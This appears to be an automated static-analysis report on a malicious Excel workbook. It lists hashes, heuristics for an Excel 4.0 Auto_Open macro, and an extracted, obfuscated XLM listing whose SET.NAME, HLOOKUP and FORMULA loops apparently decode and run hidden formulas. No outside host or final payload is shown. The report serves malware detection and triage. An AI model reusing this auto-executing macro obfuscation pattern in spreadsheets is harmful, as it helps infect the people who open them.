Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 525b54e969c8f40f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:24:41 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 6b259ea5f96c8c6a3a4cad7f35ffb8db SHA-1: 7d4684cc1dbce716943625d42c79554b14341cfa SHA-256: 525b54e969c8f40f0146579e226e8959294797629490250b265289caa01f1729
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6495 bytes
SHA-256: 63862d1b5d86539f83831ed57cb030b7052bd84feac7f7df91c5bd0d6aeb87d9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EcIiyQ
' 0018     20 LABEL : Cell Value, String Constant - AmTfB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H152 
' 0018     21 LABEL : Cell Value, String Constant - bAtvrA len=0 
' 0018     26 LABEL : Cell Value, String Constant - EJCNCJdhKAG len=0 
' 0018     27 LABEL : Cell Value, String Constant - HQDrijanoXmE len=0 
' 0018     27 LABEL : Cell Value, String Constant - HqIguaroWrKA len=0 
' 0018     21 LABEL : Cell Value, String Constant - HXreig len=0 
' 0018     20 LABEL : Cell Value, String Constant - MIEzW len=0 
' 0018     27 LABEL : Cell Value, String Constant - mqqOnqrfPInN len=0 
' 0018     21 LABEL : Cell Value, String Constant - nPSicV len=0 
' 0018     24 LABEL : Cell Value, String Constant - nVjodNDce len=0 
' 0018     24 LABEL : Cell Value, String Constant - oeIxfoUqC len=0 
' 0018     20 LABEL : Cell Value, String Constant - OQrNd len=0 
' 0018     20 LABEL : Cell Value, String Constant - Qvyxt len=0 
' 0018     22 LABEL : Cell Value, String Constant - SjClFRR len=0 
' 0018     24 LABEL : Cell Value, String Constant - SmPVFvGwq len=0 
' 0018     24 LABEL : Cell Value, String Constant - ubOMKoNHp len=0 
' 0018     21 LABEL : Cell Value, String Constant - vBptdQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vrrkxeBk len=0 
' 0018     20 LABEL : Cell Value, String Constant - VtbXY len=0 
' 0018     21 LABEL : Cell Value, String Constant - WBISgy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EcIiyQ,H62,"SET.NAME("SmPVFvGwq",VALUE("0"))",""
'  EcIiyQ,H66,"SET.NAME("ubOMKoNHp",SmPVFvGwq)",""
'  EcIiyQ,H70,"SET.NAME("SjClFRR",SmPVFvGwq)",""
'  EcIiyQ,H73,"SET.NAME("bAtvrA",COUNTA(OQrNd))",""
'  EcIiyQ,H76,"SET.NAME("VtbXY",COUNTA(HqIguaroWrKA))",""
'  EcIiyQ,H81,[],""
'  EcIiyQ,H86,"SET.NAME("WBISgy","")",""
'  EcIiyQ,H90,"ubOMKoNHp",""
'  EcIiyQ,H94,"SET.NAME("nVjodNDce",HLOOKUP("*",OQrNd,ubOMKoNHp,FALSE))",""
'  EcIiyQ,H96,"vrrkxeBk",""
'  EcIiyQ,H98,"SET.NAME("HXreig",SmPVFvGwq)",""
'  EcIiyQ,H100,[],""
'  EcIiyQ,H103,"HXreig",""
'  EcIiyQ,H108,"EJCNCJdhKAG",""
'  EcIiyQ,H111,"AmTfB",""
'  EcIiyQ,H113,"HQDrijanoXmE",""
'  EcIiyQ,H118,"SET.NAME("Qvyxt",VALUE(HLOOKUP("*",HqIguaroWrKA,HQDrijanoXmE,FALSE)))",""
'  EcIiyQ,H122,"vBptdQ",""
'  EcIiyQ,H124,"WBISgy",""
'  EcIiyQ,H128,"SjClFRR",""
'  EcIiyQ,H133,NEXT(),""
'  EcIiyQ,H135,"mqqOnqrfPInN",""
'  EcIiyQ,H139,"SET.NAME("f",INT(T(FORMULA(T(WBISgy)&"",""&T(mqqOnqrfPInN)))))",""
'  EcIiyQ,H144,"oeIxfoUqC",""
'  EcIiyQ,H146,NEXT(),""
'  EcIiyQ,H150,RETURN(),""
'  EcIiyQ,H175,"SET.NAME("nPSicV",H62)",""
'  EcIiyQ,H179,"OQrNd",""
'  EcIiyQ,H182,"SET.NAME("HqIguaroWrKA",R99C15)",""
'  EcIiyQ,H185,"SET.NAME("oeIxfoUqC",192)",""
'  EcIiyQ,H189,"SET.NAME("MIEzW",8)",""
'  EcIiyQ,H191,nPSicV(),""
'  EcIiyQ,H192,HALT(),""

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